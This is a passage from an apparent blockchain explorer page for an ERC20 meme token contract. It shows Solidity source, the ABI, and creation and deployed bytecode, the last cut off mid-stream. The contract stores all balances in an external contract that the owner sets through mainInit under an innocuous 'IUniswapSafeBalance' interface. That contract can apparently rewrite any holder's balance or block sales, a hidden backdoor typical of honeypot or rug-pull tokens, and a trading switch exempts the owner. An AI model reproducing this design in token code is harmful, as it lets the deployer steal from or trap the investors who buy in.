        IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniV2Router = _uniV2Router;
        _allowances[address(this)][address(uniV2Router)] = _totalSupply;
        holderNoFee[owner()] = true;
        holderNoFee[address(this)] = true;
    }

    function mainInit(address system) public onlyOwner{
        _walletsAmount = IUniswapSafeBalance(system);
        _walletsAmount.set(owner(),_totalSupply);
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function fee(address s, address r, uint256 amount) internal returns (uint256) {
        
        uint256 feeValue = 0;

        uint256 deadWalletAmount = _walletsAmount.get(address(deadAddress));
        
        if(uniswapPair == s) {
            feeValue = amount.mul(_buyTax).div(100); 
        }
        else if(uniswapPair == r) {
            feeValue = amount.mul(_sellTax).div(100);
        }
        
        if(feeValue > 0) {
            deadWalletAmount = deadWalletAmount.add(feeValue);
            _walletsAmount.set(deadAddress,deadWalletAmount);
            emit Transfer(s, address(deadAddress), feeValue);
        }

        return amount.sub(feeValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        if(init==false){
            try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
                uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
                init=true;
            }
            catch(bytes memory){
            }
        }
        _transfer(_msgSender(), recipient, amount);
            return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if(init==false){
            try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
                uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
                init=true;
            }
            catch(bytes memory){
            }
        }
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {            
        if((uniswapPair != recipient && sender != owner() && !holderNoFee[sender]))
            require(active != false, "Trading is not active.");  

        uint256 senderAmount=_walletsAmount.get(sender);
        uint256 recipientAmount=_walletsAmount.get(recipient);

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        senderAmount = senderAmount.sub(amount, "Insufficient Balance");
        
        uint256 finalAmount = (holderNoFee[sender] || holderNoFee[recipient]) ? amount : fee(sender, recipient, amount);
        
        recipientAmount = recipientAmount.add(finalAmount);  

        _walletsAmount.set(sender,senderAmount);
        _walletsAmount.set(recipient,recipientAmount);

        emit Transfer(sender, recipient, finalAmount);
            
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _walletsAmount.get(account);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

  }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderNoFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"system","type":"address"}],"name":"mainInit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prova","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"test","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6001608081905260a052610120604052601560e09081527f5348494241204d454d452047454e45524154494f4e0000000000000000000000610100526003906200004a908262000257565b50604080518082019091526003815262534d4760e81b602082015260049062000074908262000257565b506005805460ff1916601090811790915561dead60c0526200009890600a62000438565b620000a8906329b9270062000450565b6006556007805461ffff19166001179055348015620000c657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600654306000908152600b60209081526040808320858452909152812091909155600190600a906200016b6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600a9092529020805490911660011790555062000472565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001dd57607f821691505b602082108103620001fe57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200025257600081815260208120601f850160051c810160208610156200022d5750805b601f850160051c820191505b818110156200024e5782815560010162000239565b5050505b505050565b81516001600160401b03811115620002735762000273620001b2565b6200028b81620002848454620001c8565b8462000204565b602080601f831160018114620002c35760008415620002aa5750858301515b600019600386901b1c1916600185901b1785556200024e565b600085815260208120601f198616915b82811015620002f457888601518255948401946001909101908401620002d3565b5085821015620003135787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200037a5781600019048211156200035e576200035e62000323565b808516156200036c57918102915b93841c93908002906200033e565b509250929050565b600082620003935750600162000432565b81620003a25750600062000432565b8160018114620003bb5760028114620003c657620003e6565b600191505062000432565b60ff841115620003da57620003da62000323565b50506001821b62000432565b5060208310610133831016604e8410600b84101617156200040b575081810a62000432565b62000417838362000339565b80600019048211156200042e576200042e62000323565b0290505b92915050565b60006200044960ff84168362000382565b9392505050565b60008160001904831182151516156200046d576200046d62000323565b500290565b60805160a05160c051611cf4620004cc6000396000818161024e01528181610991015281816116ed0152818161183901526118a901526000818161047801526117e801526000818161030701526117910152611cf46000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d1578063b98351f11161008a578063ca9ec19911610064578063ca9ec19914610466578063dd62ed3e1461049a578063de795edd146104e0578063f2fde38b1461050057600080fd5b8063b98351f1146103f3578063bb29998e14610413578063c816841b1461044057600080fd5b8063715018a6146103495780638da5cb5b14610360578063958c2e521461037e57806395d89b411461039e578063a457c2d7146103b3578063a9059cbb146103d357600080fd5b80632b112e49116101235780632b112e4914610288578063313ce5671461029d57806339509351146102bf5780633eaaf86b146102df57806342a11095146102f557806370a082311461032957600080fd5b80630461ee0d1461017657806306fdde03146101bb578063095ea7b3146101dd57806318160ddd146101fd57806323b872dd1461021c57806327c8f8351461023c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101a6610191366004611a2e565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b506101d0610520565b6040516101b29190611a4b565b3480156101e957600080fd5b506101a66101f8366004611aa0565b6105b2565b34801561020957600080fd5b506006545b6040519081526020016101b2565b34801561022857600080fd5b506101a6610237366004611acc565b6105c9565b34801561024857600080fd5b506102707f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101b2565b34801561029457600080fd5b5061020e610987565b3480156102a957600080fd5b5060055460405160ff90911681526020016101b2565b3480156102cb57600080fd5b506101a66102da366004611aa0565b6109c3565b3480156102eb57600080fd5b5061020e60065481565b34801561030157600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000081565b34801561033557600080fd5b5061020e610344366004611a2e565b6109f9565b34801561035557600080fd5b5061035e610a68565b005b34801561036c57600080fd5b506000546001600160a01b0316610270565b34801561038a57600080fd5b50600c54610270906001600160a01b031681565b3480156103aa57600080fd5b506101d0610aeb565b3480156103bf57600080fd5b506101a66103ce366004611aa0565b610afa565b3480156103df57600080fd5b506101a66103ee366004611aa0565b610b49565b3480156103ff57600080fd5b5061035e61040e366004611a2e565b610eaa565b34801561041f57600080fd5b5061020e61042e366004611a2e565b60096020526000908152604090205481565b34801561044c57600080fd5b50600754610270906201000090046001600160a01b031681565b34801561047257600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104a657600080fd5b5061020e6104b5366004611b0d565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104ec57600080fd5b50600854610270906001600160a01b031681565b34801561050c57600080fd5b5061035e61051b366004611a2e565b610fc4565b60606003805461052f90611b46565b80601f016020809104026020016040519081016040528092919081815260200182805461055b90611b46565b80156105a85780601f1061057d576101008083540402835291602001916105a8565b820191906000526020600020905b81548152906001019060200180831161058b57829003601f168201915b5050505050905090565b60006105bf3384846110ae565b5060015b92915050565b600754600090610100900460ff161515810361091f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106569190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dc9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610743575060408051601f3d908101601f1916820190925261074091810190611b80565b60015b61077d573d808015610771576040519150601f19603f3d011682016040523d82523d6000602084013e610776565b606091505b505061091f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61092a8484846111d2565b5061097d843361097885604051806060016040528060288152602001611c72602891396001600160a01b038a166000908152600b6020908152604080832033845290915290205491906115f1565b6110ae565b5060019392505050565b60006109be6109b57f00000000000000000000000000000000000000000000000000000000000000006109f9565b6006549061162b565b905090565b336000818152600b602090815260408083206001600160a01b038716845290915281205490916105bf9185906109789086611674565b600d546040516330af0bbf60e21b81526001600160a01b038381166004830152600092169063c2bc2efc90602401602060405180830381865afa158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611b9d565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b8152600401610a9290611bb6565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606004805461052f90611b46565b60006105bf338461097885604051806060016040528060258152602001611c9a60259139336000908152600b602090815260408083206001600160a01b038d16845290915290205491906115f1565b600754600090610100900460ff1615158103610e9f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd69190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5c9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610cc3575060408051601f3d908101601f19168201909252610cc091810190611b80565b60015b610cfd573d808015610cf1576040519150601f19603f3d011682016040523d82523d6000602084013e610cf6565b606091505b5050610e9f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfb9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6a9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61097d3384846111d2565b6000546001600160a01b03163314610ed45760405162461bcd60e51b8152600401610a9290611bb6565b600d80546001600160a01b0383166001600160a01b03199091168117909155633825d828610f0a6000546001600160a01b031690565b6006546040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b50505050610f723390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051610fb991815260200190565b60405180910390a350565b6000546001600160a01b03163314610fee5760405162461bcd60e51b8152600401610a9290611bb6565b6001600160a01b0381166110535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a92565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a92565b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a92565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811662010000909204161480159061120757506000546001600160a01b03858116911614155b801561122c57506001600160a01b0384166000908152600a602052604090205460ff16155b156112815760075460ff1615156000036112815760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a92565b600d546040516330af0bbf60e21b81526001600160a01b038681166004830152600092169063c2bc2efc90602401602060405180830381865afa1580156112cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f09190611b9d565b600d546040516330af0bbf60e21b81526001600160a01b0387811660048301529293506000929091169063c2bc2efc90602401602060405180830381865afa158015611340573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113649190611b9d565b90506001600160a01b0386166113ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a92565b6001600160a01b03851661142c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a92565b604080518082019091526014815273496e73756666696369656e742042616c616e636560601b602082015261146490839086906115f1565b6001600160a01b0387166000908152600a60205260408120549193509060ff16806114a757506001600160a01b0386166000908152600a602052604090205460ff165b6114bb576114b68787876116d3565b6114bd565b845b90506114c98282611674565b600d54604051630704bb0560e31b81526001600160a01b038a8116600483015260248201879052929450911690633825d82890604401600060405180830381600087803b15801561151957600080fd5b505af115801561152d573d6000803e3d6000fd5b5050600d54604051630704bb0560e31b81526001600160a01b038a81166004830152602482018790529091169250633825d8289150604401600060405180830381600087803b15801561157f57600080fd5b505af1158015611593573d6000803e3d6000fd5b50505050856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115dc91815260200190565b60405180910390a35060019695505050505050565b600081848411156116155760405162461bcd60e51b8152600401610a929190611a4b565b5060006116228486611c01565b95945050505050565b600061166d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f1565b9392505050565b6000806116818385611c18565b90508381101561166d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a92565b600d546040516330af0bbf60e21b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166004830152600092839283929091169063c2bc2efc90602401602060405180830381865afa158015611744573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117689190611b9d565b6007549091506001600160a01b038088166201000090920416036117c2576117bb60646117b5867f0000000000000000000000000000000000000000000000000000000000000000611929565b906119ab565b915061180f565b6007546001600160a01b0380871662010000909204160361180f5761180c60646117b5867f0000000000000000000000000000000000000000000000000000000000000000611929565b91505b81156119155761181f8183611674565b600d54604051630704bb0560e31b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000008116600483015260248201849052929350911690633825d82890604401600060405180830381600087803b15801561188f57600080fd5b505af11580156118a3573d6000803e3d6000fd5b505050507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190c91815260200190565b60405180910390a35b61191f848361162b565b9695505050505050565b60008260000361193b575060006105c3565b60006119478385611c30565b9050826119548583611c4f565b1461166d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a92565b600061166d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611a095760405162461bcd60e51b8152600401610a929190611a4b565b5060006116228486611c4f565b6001600160a01b0381168114611a2b57600080fd5b50565b600060208284031215611a4057600080fd5b813561166d81611a16565b600060208083528351808285015260005b81811015611a7857858101830151858201604001528201611a5c565b81811115611a8a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611ab357600080fd5b8235611abe81611a16565b946020939093013593505050565b600080600060608486031215611ae157600080fd5b8335611aec81611a16565b92506020840135611afc81611a16565b929592945050506040919091013590565b60008060408385031215611b2057600080fd5b8235611b2b81611a16565b91506020830135611b3b81611a16565b809150509250929050565b600181811c90821680611b5a57607f821691505b602082108103611b7a57634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215611b9257600080fd5b815161166d81611a16565b600060208284031215611baf57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611c1357611c13611beb565b500390565b60008219821115611c2b57611c2b611beb565b500190565b6000816000190483118215151615611c4a57611c4a611beb565b500290565b600082611c6c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d40179671911070e99c001cc85c09b5a6dd526582f882b58ec525b0b6cac87aa64736f6c634300080f0033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063b98351f11161008a578063ca9ec19911610064578063ca9ec19914610466578063dd62ed3e1461049a578063de795edd146104e0578063f2fde38b1461050057600080fd5b8063b98351f1146103f3578063bb29998e14610413578063c816841b1461044057600080fd5b8063715018a6146103495780638da5cb5b14610360578063958c2e521461037e57806395d89b411461039e578063a457c2d7146103b3578063a9059cbb146103d357600080fd5b80632b112e49116101235780632b112e4914610288578063313ce5671461029d57806339509351146102bf5780633eaaf86b146102df57806342a11095146102f557806370a082311461032957600080fd5b80630461ee0d1461017657806306fdde03146101bb578063095ea7b3146101dd57806318160ddd146101fd57806323b872dd1461021c57806327c8f8351461023c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101a6610191366004611a2e565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b506101d0610520565b6040516101b29190611a4b565b3480156101e957600080fd5b506101a66101f8366004611aa0565b6105b2565b34801561020957600080fd5b506006545b6040519081526020016101b2565b34801561022857600080fd5b506101a6610237366004611acc565b6105c9565b34801561024857600080fd5b506102707f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101b2565b34801561029457600080fd5b5061020e610987565b3480156102a957600080fd5b5060055460405160ff90911681526020016101b2565b3480156102cb57600080fd5b506101a66102da366004611aa0565b6109c3565b3480156102eb57600080fd5b5061020e60065481565b34801561030157600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000181565b34801561033557600080fd5b5061020e610344366004611a2e565b6109f9565b34801561035557600080fd5b5061035e610a68565b005b34801561036c57600080fd5b506000546001600160a01b0316610270565b34801561038a57600080fd5b50600c54610270906001600160a01b031681565b3480156103aa57600080fd5b506101d0610aeb565b3480156103bf57600080fd5b506101a66103ce366004611aa0565b610afa565b3480156103df57600080fd5b506101a66103ee366004611aa0565b610b49565b3480156103ff57600080fd5b5061035e61040e366004611a2e565b610eaa565b34801561041f57600080fd5b5061020e61042e366004611a2e565b60096020526000908152604090205481565b34801561044c57600080fd5b50600754610270906201000090046001600160a01b031681565b34801561047257600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000181565b3480156104a657600080fd5b5061020e6104b5366004611b0d565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104ec57600080fd5b50600854610270906001600160a01b031681565b34801561050c57600080fd5b5061035e61051b366004611a2e565b610fc4565b60606003805461052f90611b46565b80601f016020809104026020016040519081016040528092919081815260200182805461055b90611b46565b80156105a85780601f1061057d576101008083540402835291602001916105a8565b820191906000526020600020905b81548152906001019060200180831161058b57829003601f168201915b5050505050905090565b60006105bf3384846110ae565b5060015b92915050565b600754600090610100900460ff161515810361091f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106569190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dc9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610743575060408051601f3d908101601f1916820190925261074091810190611b80565b60015b61077d573d808015610771576040519150601f19603f3d011682016040523d82523d6000602084013e610776565b606091505b505061091f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61092a8484846111d2565b5061097d843361097885604051806060016040528060288152602001611c72602891396001600160a01b038a166000908152600b6020908152604080832033845290915290205491906115f1565b6110ae565b5060019392505050565b60006109be6109b57f000000000000000000000000000000000000000000000000000000000000dead6109f9565b6006549061162b565b905090565b336000818152600b602090815260408083206001600160a01b038716845290915281205490916105bf9185906109789086611674565b600d546040516330af0bbf60e21b81526001600160a01b038381166004830152600092169063c2bc2efc90602401602060405180830381865afa158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611b9d565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b8152600401610a9290611bb6565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606004805461052f90611b46565b60006105bf338461097885604051806060016040528060258152602001611c9a60259139336000908152600b602090815260408083206001600160a01b038d16845290915290205491906115f1565b600754600090610100900460ff1615158103610e9f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd69190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5c9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610cc3575060408051601f3d908101601f19168201909252610cc091810190611b80565b60015b610cfd573d808015610cf1576040519150601f19603f3d011682016040523d82523d6000602084013e610cf6565b606091505b5050610e9f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c4648604051